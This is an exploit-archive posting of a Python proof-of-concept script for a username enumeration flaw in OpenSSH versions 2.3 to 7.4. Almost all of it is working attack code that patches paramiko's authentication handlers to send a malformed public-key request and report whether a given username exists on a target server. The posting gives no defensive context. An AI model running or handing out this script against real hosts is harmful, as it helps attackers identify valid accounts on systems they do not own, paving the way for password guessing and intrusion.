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OpenSSH 7.x Username Enumeration

OpenSSH 7.x Username Enumeration
Posted Aug 16, 2018
Authored by Matthew Daley

OpenSSH versions 2.3 up to 7.4 suffer from a username enumeration vulnerability.

tags | exploit
MD5 | c889d675e3b9a22351881123da19250a

OpenSSH 7.x Username Enumeration

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#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
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import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
pass


def add_boolean(*args, **kwargs):
pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)

try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'

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